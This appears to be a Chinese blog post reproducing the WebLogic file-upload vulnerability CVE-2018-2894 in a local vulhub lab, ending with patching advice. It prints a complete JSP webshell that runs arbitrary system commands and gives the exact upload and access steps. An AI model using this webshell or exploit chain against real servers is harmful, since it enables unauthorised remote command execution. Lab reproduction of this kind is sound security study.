Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

目录

weblogic 

漏洞环境准备

漏洞复现

修复建议


weblogic 

WebLogic美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用数据库应用Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE-2018-2894 该漏洞属于一个远程上传漏洞,通过更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用"添加Keystore设置"的功能,可上传恶意的JSP脚本文件,造成攻击。两个页面分别为/ws_utc/begin.do/ws_utc/config.do

受影响的版本weblogic 10.3.6.0weblogic 12.1.3.0weblogic 12.2.1.2weblogic 12.2.1.3

漏洞环境准备

下载好vulhub

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第1张图片

 进入目录启动 weblogic 12.2.1.3

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第2张图片

docker-compose up -d

查看端口情况

docker-compose  ps

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第3张图片

执行docker-compose logs | grep password可查看管理员密码

管理员用户名为weblogic

密码为B6eYMuo9

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第4张图片

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。使用刚刚获得的账号密码登录

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第5张图片

登录后台页面,点击base_domain的配置,在高级中开启启用 Web 服务测试页选项:记得保存设置!!!要不然利用不到webshell

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第6张图片

 Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第7张图片

接下来访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

漏洞复现

写一个jsp文件上传

这里我们上传一个可以利用的webshell  

<%@ page import="java.util.*,java.io.*"%>

<%

%>



Commands with JSP


<%

if (request.getParameter("cmd") != null) {

    out.println("Command: " + request.getParameter("cmd") + "
");     Process p;     if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){         p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));     }  else{         p = Runtime.getRuntime().exec(request.getParameter("cmd"));     }     OutputStream os = p.getOutputStream();     InputStream in = p.getInputStream();     DataInputStream dis = new DataInputStream(in);     String disr = dis.readLine();     while ( disr != null ) {     out.println(disr);     disr = dis.readLine();     } } %>

通过抓包我们可以发现返回了时间戳(我上传了两个jsp返回两个时间戳)

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第8张图片

然后访问

http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

即可执行webshell

例如返回时间戳为1673447062823  上传jsp文件名为  4.jsp

访问

http://192.168.10.142:7001/ws_utc/css/config/keystore/1673447062823_4.jsp

Weblogic 任意文件上传漏洞(CVE-2018-2894)复现_第9张图片

实验完成后记得关闭weblogic

docker-compose  down

修复建议

  1. 升级到官方的最新版本;
  2. config.do,begin.do页面强制登录后才授权后访问

你可能感兴趣的:(web安全,web安全)